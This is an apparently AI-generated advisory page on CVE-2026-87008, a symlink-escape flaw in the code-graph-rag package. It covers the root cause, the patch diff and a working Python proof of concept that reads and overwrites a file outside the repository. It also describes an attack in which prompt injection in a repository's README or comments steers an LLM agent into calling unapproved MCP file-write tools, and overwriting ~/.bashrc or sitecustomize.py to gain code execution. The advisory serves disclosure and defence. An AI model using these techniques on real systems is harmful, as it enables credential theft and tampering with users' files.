CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-87008

CVE-2026-87008: Out-of-Root Arbitrary File Read and Overwrite via Symlink Following in code-graph-rag

Alon Barad
Alon Barad
Software Engineer

Nov 10, 2026·9 min read·2 visits

Executive Summary (TL;DR)

Versions of `code-graph-rag` prior to 0.0.589 fail to resolve symbolic links before validating repository path containment in `should_skip_path`. By placing a symbolic link pointing to an external file within an analyzed repository, an attacker can read or overwrite arbitrary files on the host via `structural_search` and `structural_replace`, bypassing security boundary checks and Model Context Protocol (MCP) approval gates.

CVE-2026-87008 (GHSA-85gg-2gfq-q95m) is a high-severity symbolic link following and path traversal vulnerability in the `code-graph-rag` Python package prior to version 0.0.589. The flaw resides in the `should_skip_path` path validation routine inside `codebase_rag/utils/path_utils.py`, which performs directory containment checks using unresolved lexical paths rather than canonicalized filesystem paths. Consequently, symbolic links committed to an untrusted repository that point to targets outside the project root bypass boundary enforcement. Attackers who supply a crafted repository containing symbolic links can leverage the `AstGrepService` tool (`structural_search` and `structural_replace`) to read or overwrite arbitrary files on the host filesystem within the privileges of the running process.

Vulnerability Overview

code-graph-rag is an AI-driven knowledge graph and retrieval-augmented generation (RAG) engine designed to index, query, and refactor multi-language codebases. To support syntax-aware pattern matching and automated code transformations, the package provides AstGrepService (located in codebase_rag/tools/ast_grep_service.py). This service exposes two core operations to users and connected Large Language Model (LLM) agents: structural_search for querying Abstract Syntax Tree (AST) patterns across a repository, and structural_replace for executing in-place code rewrites across matching files.

Because code-graph-rag is frequently invoked against third-party repositories or exposed as an automated tool server via the Model Context Protocol (MCP), it enforces filesystem boundary restrictions. All repository enumeration and file processing routines are designed to restrict file access strictly to the designated project_root directory. Before any file is parsed or modified by AstGrepService, its path is passed to the should_skip_path filtering function in codebase_rag/utils/path_utils.py to verify that it is not on an ignore list and that it resides within the target repository.

In code-graph-rag versions prior to 0.0.589, the path containment logic in should_skip_path evaluates paths lexically without resolving symbolic links to their canonical targets on the underlying filesystem. This flaw is classified under CWE-59 (Improper Link Resolution Before File Access) and CWE-22 (Improper Limitation of a Pathname to a Restricted Directory).

When a victim user or automated agent analyzes a repository containing a malicious symbolic link, should_skip_path validates the lexical location of the link itself rather than its destination. The subsequent file operations in AstGrepService transparently follow the symbolic link. This allows an attacker to read sensitive files outside the repository boundary via structural_search or corrupt and overwrite external files on the host via structural_replace.

Root Cause Analysis

The root cause of CVE-2026-87008 is an inconsistency between how path containment is checked in should_skip_path and how other security validators in the same codebase operate. Specifically, while single-file helper functions such as validate_project_path (in decorators.py) and absolute_path_within_project_root (in path_utils.py) canonicalize paths prior to boundary checks, the bulk directory traversal filter should_skip_path relied entirely on unresolved lexical path computation.

During a repository-wide sweep, AstGrepService iterates over files beneath project_root and invokes should_skip_path(path, repo_path) on each discovered entry. In vulnerable versions, should_skip_path calls cached_relative_path(path, repo_path) directly on the input pathlib.Path objects. If path represents a symbolic link located at <project_root>/malicious_link.py that points to /etc/passwd or ~/.ssh/id_rsa, its lexical representation still begins with <project_root>.

Because the lexical prefix matches repo_path, cached_relative_path succeeds without raising a ValueError, and should_skip_path returns False (indicating the file should not be skipped). When AstGrepService subsequently opens the file to perform AST parsing or replacement, the operating system kernel resolves the symbolic link to the external file.

Furthermore, this vulnerability exposes an architectural bypass within the Model Context Protocol (MCP) integration of code-graph-rag. While interactive CLI sessions may prompt a human operator before executing file modifications, the MCP tool endpoints invoke structural_replace(dry_run=False) directly without an interactive human approval gate. Consequently, an untrusted repository combined with prompt injection or automated agent workflows can trigger silent, unapproved file writes outside the repository boundary.

Code Analysis

The vulnerability is located in codebase_rag/utils/path_utils.py within the should_skip_path function. Prior to version 0.0.589, the function checked file suffixes against an ignore list and immediately computed the relative path between path and repo_path without calling .resolve().

# Vulnerable implementation in codebase_rag/utils/path_utils.py (< 0.0.589)
def should_skip_path(
    path: Path,
    repo_path: Path,
    exclude_paths: frozenset[str] | None = None,
    unignore_paths: frozenset[str] | None = None,
    is_file: bool | None = None,
) -> bool:
    _is_file = path.is_file() if is_file is None else is_file
    if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
        return True
    
    # FLAW: path and repo_path are not canonicalized via .resolve().
    # A symlink at <repo_path>/link.py -> /outside/target.py passes this check.
    rel_path = cached_relative_path(path, repo_path)
    rel_path_str = rel_path.as_posix()

In commit 2648c95aa550ce2d9361a8e75ed669d5f4b451b8, the maintainer patched should_skip_path by resolving both path and repo_path via pathlib.Path.resolve() before attempting to compute their relative relationship:

--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ -120,6 +120,14 @@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Containment below is lexical, so a symlink whose target escapes the root
+    # would pass it and let a repo-scoped sweep read or overwrite outside files
+    # (GHSA-85gg-2gfq-q95m). Resolve first, mirroring validate_project_path
+    # (decorators.py) and absolute_path_within_project_root (this module).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)
     rel_path_str = rel_path.as_posix()
     # a trailing slash marks the path as a directory for dir-only patterns.

With this patch applied, path.resolve() follows all symbolic links and eliminates any .. traversal segments to yield the canonical target path on disk. The .relative_to(repo_path.resolve()) method then checks whether the resolved target path is a subpath of the resolved repository root. If the target lies outside repo_path, Python raises a ValueError, which the try...except block catches to immediately return True (skipping the file).

> [!NOTE] > Assessment of Fix Completeness: The patch effectively neutralizes static symbolic link escapes during directory sweeps, including nested directory symlinks and broken symlinks pointing outside the repository root. However, as with all user-space check-then-use designs that rely on path validation prior to a separate file open call in AstGrepService, a theoretical Time-of-Check to Time-of-Use (TOCTOU) window exists if an attacker has concurrent local code execution on the host to swap a regular file with a symlink between the should_skip_path check and the AstGrepService read/write call. For the primary threat model—analyzing a cloned untrusted repository at rest—the fix is complete.

Exploitation

Exploiting CVE-2026-87008 requires an attacker to create a Git repository (or archive) containing one or more symbolic links pointing to sensitive files on the target filesystem, and then induce a victim user or automated RAG pipeline to analyze the repository using code-graph-rag. No authentication or local shell access on the target host is required to stage the repository because Git natively preserves symbolic links across git clone operations via mode 120000 tree entries.

Once the repository is cloned onto the target machine, exploitation proceeds through either structural_search (for arbitrary file disclosure) or structural_replace (for arbitrary file modification). Because AstGrepService requires a target language parser (such as Python, JavaScript, JSON, or YAML) to match AST nodes, files that conform to or partially parse as valid syntax in any supported language are trivial to extract or modify.

The following Proof of Concept (derived from the regression test suite introduced in codebase_rag/tests/test_symlink_containment.py and public research in squeeze440/code-graph-rag-PoC) demonstrates both out-of-root read and out-of-root overwrite primitives:

from pathlib import Path
from codebase_rag.tools.ast_grep_service import AstGrepService
from codebase_rag.utils.path_utils import should_skip_path
 
# 1. Simulate a sensitive file located outside the repository root
secret_file = Path("/tmp/outside-secret.py")
secret_file.write_text('API_TOKEN = "sk-live-stolen-token-12345"\n', encoding="utf-8")
 
# 2. Construct an untrusted repository with an escaping symlink
project_root = Path("/tmp/untrusted-repo")
project_root.mkdir(parents=True, exist_ok=True)
symlink_path = project_root / "leak_link.py"
if not symlink_path.exists():
    symlink_path.symlink_to(secret_file)
 
# 3. Verify that should_skip_path fails to filter the symlink in < 0.0.589
is_skipped = should_skip_path(symlink_path, project_root, is_file=True)
assert is_skipped is False  # Returns False on vulnerable versions
 
# 4. Out-of-root Read via structural_search
service = AstGrepService(project_root=str(project_root))
search_matches = service.search(pattern="API_TOKEN", language="python")
print(f"Extracted matches: {search_matches}")
 
# 5. Out-of-root Overwrite via structural_replace
service.replace(
    pattern='API_TOKEN = "$_"',
    rewrite='API_TOKEN = "COMPROMISED"',
    language="python",
    dry_run=False
)
print(f"Modified external file content:\n{secret_file.read_text()}")

In an automated agent scenario where an LLM processes an untrusted repository, an attacker can embed indirect prompt injection instructions within source code comments or documentation files (e.g., README.md). These instructions can direct the agent to invoke the structural_search or structural_replace MCP tools with wildcard AST patterns (such as $A), causing the agent to read external configuration files into the LLM context or overwrite local source scripts to achieve arbitrary code execution.

Impact Assessment

CVE-2026-87008 carries a CVSS v3.1 base score of 7.1 (High) with the vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N. The Attack Vector is Local (AV:L) and User Interaction is Required (UI:R) because the vulnerability relies on a user or local service opening and indexing a repository containing attacker-controlled symbolic links. Attack Complexity is Low (AC:L) and Privileges Required is None (PR:N), as creating symbolic links in a Git repository requires no special capabilities.

The Confidentiality Impact is High (C:H). An attacker can read sensitive files accessible to the user account running code-graph-rag. Common high-value targets include Python configuration modules (settings.py, config.py), environment variable definitions, JSON/YAML credentials (such as ~/.docker/config.json or Kubernetes configuration files), and application source code from adjacent repositories on the developer's workstation or CI/CD runner.

The Integrity Impact is also High (I:H). By leveraging structural_replace with dry_run=False, an attacker can modify or corrupt any writable file on the filesystem whose contents can be matched by an AST rule. If an attacker targets user-writable initialization scripts (such as ~/.bashrc, ~/.zshrc, or Python virtual environment .pth and sitecustomize.py files), arbitrary file modification escalates directly to local code execution the next time the shell or Python interpreter is invoked.

At the time of publication, CVE-2026-87008 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Its Exploit Prediction Scoring System (EPSS) score is 0.00264 (0.26%, 18.37th percentile), reflecting the requirement for local repository ingestion and user or agent interaction.

Remediation

The primary remediation for CVE-2026-87008 is to upgrade code-graph-rag to version 0.0.589 or later, which incorporates commit 2648c95aa550ce2d9361a8e75ed669d5f4b451b8 to enforce canonical path resolution inside should_skip_path.

# Upgrade using pip
pip install --upgrade "code-graph-rag>=0.0.589"
 
# Upgrade using uv
uv add "code-graph-rag>=0.0.589"

In environments where immediate upgrading is not feasible, security engineers and developers should implement defensive controls around repository ingestion and tool execution. Before running code-graph-rag on untrusted or third-party repositories, pre-scan the working tree to detect and remove symbolic links, or configure Git not to create symbolic links during checkout:

# Disable symbolic link creation when cloning untrusted repositories
git clone -c core.symlinks=false <untrusted-repo-url>
 
# Audit an existing directory for symbolic links before indexing
find /path/to/repo -type l -ls

Finally, when deploying code-graph-rag as an MCP server or automated indexing backend, execute the service inside an isolated container, virtual machine, or sandboxed environment (such as bubblewrap or Docker). Mount only the target repository directory into the container workspace, and ensure that host user credentials (~/.ssh, ~/.aws, ~/.config) are excluded from the container filesystem.

Official Patches

vitali87Commit resolving symbolic links before checking repository path containment in should_skip_path.
vitali87Official release v0.0.589 containing the fix for CVE-2026-87008.
GitHub Security AdvisoryVendor security advisory GHSA-85gg-2gfq-q95m detailing the vulnerability and remediation.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.26%
Top 82% most exploited

Affected Systems

vitali87/code-graph-rag (PyPI package: code-graph-rag)

Affected Versions Detail

Product
Affected Versions
Fixed Version
code-graph-rag
vitali87
< 0.0.5890.0.589
AttributeDetail
CVE / GHSA IDCVE-2026-87008 / GHSA-85gg-2gfq-q95m
Vulnerability ClassCWE-59 (Link Following) / CWE-22 (Path Traversal)
CVSS v3.1 Score7.1 High (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)
Affected Componentshould_skip_path() in codebase_rag/utils/path_utils.py & AstGrepService
Affected Versionscode-graph-rag < 0.0.589
Patched Versioncode-graph-rag 0.0.589
ImpactArbitrary out-of-root file read and file overwrite
Exploit / KEV StatusPublic PoC Available / Not in CISA KEV (EPSS: 0.26%)

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1005Data from Local System
Collection
T1565Data Manipulation
Impact
CWE-59
Improper Link Resolution Before File Access ('Link Following')

The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource outside of the restricted directory (also mapped to CWE-22: Improper Limitation of a Pathname to a Restricted Directory).

Known Exploits & Detection

GitHubPublic Proof-of-Concept repository demonstrating symlink escape via AstGrepService in code-graph-rag (GHSA-85gg-2gfq-q95m / CVE-2026-87008).

Vulnerability Timeline

Fix committed to repository (2648c95aa550ce2d9361a8e75ed669d5f4b451b8) and v0.0.589 released.
2026-08-09
Public Proof-of-Concept repository (squeeze440/code-graph-rag-PoC) published on GitHub.
2026-09-11
GitHub Security Advisory GHSA-85gg-2gfq-q95m and CVE-2026-87008 published.
2026-11-05

References & Sources

  • [1]GitHub Security Advisory GHSA-85gg-2gfq-q95m
  • [2]Fix Commit: reject symlinks resolving outside the project root in should_skip_path
  • [3]code-graph-rag Release v0.0.589
  • [4]NVD - CVE-2026-87008
  • [5]CVE.org Record: CVE-2026-87008
  • [6]CVEListV5 JSON Record for CVE-2026-87008
  • [7]GitHub - squeeze440/code-graph-rag-PoC

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-94618
5.4

CVE-2026-94618: Missing Authorization and Weak Archive Identifier Generation in FileGator Batch Download

FileGator versions prior to 7.15.0 contain a missing authorization check (CWE-862) and predictable identifier generation flaw (CWE-330) in the batch download implementation. When a user initiates a batch download, FileGator generates a temporary ZIP archive identified by PHP's non-cryptographic uniqid() function without binding the resulting identifier to the creating user's session. Consequently, any authenticated user with read, download, and batchdownload permissions who obtains or predicts an active archive identifier can retrieve another user's private files via GET /batchdownload, bypassing per-user home directory isolation and deleting the victim's temporary archive upon download completion.

Alon Barad
Alon Barad
4 views•10 min read
•about 3 hours ago•CVE-2026-94619
5.9

CVE-2026-94619: Missing Authorization and Unnamespaced Temporary File Reassembly in FileGator UploadController

An authorization bypass and insecure direct object reference (IDOR) vulnerability exists in FileGator versions prior to 7.15.0 within the chunked file upload reassembly handler. When processing multipart uploads in backend/Controllers/UploadController.php, the application fails to namespace the target assembly filename with a user-specific prefix inside the shared temporary storage directory. Authenticated users with upload privileges can manipulate chunk metadata parameters to exfiltrate, corrupt, or delete arbitrary transient files belonging to other users or the system.

Alon Barad
Alon Barad
5 views•9 min read
•about 4 hours ago•CVE-2026-77596
9.6

CVE-2026-77596: Cross-Tenant Authorization Bypass in Kubeflow Pipelines Upload API

CVE-2026-77596 is an authorization bypass vulnerability in the Kubeflow Pipelines API server affecting multi-user deployments prior to version 2.18.0. The HTTP multipart upload handlers prematurely terminate authorization checks and return success when the target namespace parameter is empty or omitted. Because the default configuration allows pipelines without namespaces to function as cluster-wide shared resources, any low-privileged tenant can create shared pipelines or inject arbitrary pipeline versions into existing shared pipelines without undergoing Kubernetes SubjectAccessReview validation. When other tenants execute unpinned recurring runs tracking these shared pipelines, the attacker-supplied workload runs inside the victim tenant's namespace using the victim's service account credentials.

Alon Barad
Alon Barad
6 views•10 min read
•about 5 hours ago•CVE-2026-85737
6.5

CVE-2026-85737: Missing Authorization and Arbitrary File Disclosure in Velocidex Velociraptor sql() VQL Plugin

An authorization bypass vulnerability in Velocidex Velociraptor versions prior to 0.77.2 allows authenticated users with low-privilege query permissions to bypass access controls in the sql() VQL plugin. By supplying crafted MySQL connection strings pointing to an attacker-controlled rogue MySQL server with local-infile enabled, an attacker can read arbitrary files from the Velociraptor server host filesystem with the privileges of the server process.

Alon Barad
Alon Barad
9 views•8 min read
•about 6 hours ago•CVE-2026-97705
7.5

CVE-2026-97705: Unauthenticated Denial of Service in Moleculer TCP Transporter Packet Parser

CVE-2026-97705 (GHSA-h89v-g948-47vp) is a high-severity unauthenticated Denial of Service (DoS) vulnerability affecting the Moleculer microservices framework for Node.js in versions prior to 0.14.36 and 0.15.2. The vulnerability resides in the internal TCP transporter packet parser (`src/transporters/tcp/parser.js`), which decodes the 4-byte packet length field as a signed 32-bit integer using `Buffer.prototype.readInt32BE()`. An unauthenticated attacker with network access to an exposed TCP transporter port can transmit a single malformed packet containing a negative length value or a positive length value less than the 6-byte header size. Due to how Node.js `Buffer.prototype.slice()` processes negative or sub-header offsets, the parser fails to advance the incoming buffer cursor while remaining inside a synchronous `while (packet.length > 0)` loop. Because Node.js relies on a single-threaded event loop, this infinite loop permanently blocks execution, freezing all services and endpoints within the affected process until manual intervention.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 7 hours ago•CVE-2026-108262
6.5

CVE-2026-108262: Arbitrary Host File Overwrite via Tar Symlink Traversal in DDEV

CVE-2026-108262 (GHSA-9hq4-hm3j-jmph) is a path traversal and arbitrary file overwrite vulnerability in the tar archive extraction routine of DDEV versions 1.25.2 and 1.25.3. Resulting from an incomplete fix for CVE-2026-32885, the Untar function in pkg/archive/archive.go validates absolute symbolic link targets by rebasing them against the extraction destination directory, but subsequently creates the symbolic link on disk using the raw, unvalidated absolute path. When subsequent entries in the archive write through the planted symbolic link, the host operating system resolves the link directly to the host filesystem, allowing an attacker to overwrite arbitrary files with the privileges of the user executing DDEV.

Amit Schendel
Amit Schendel
5 views•10 min read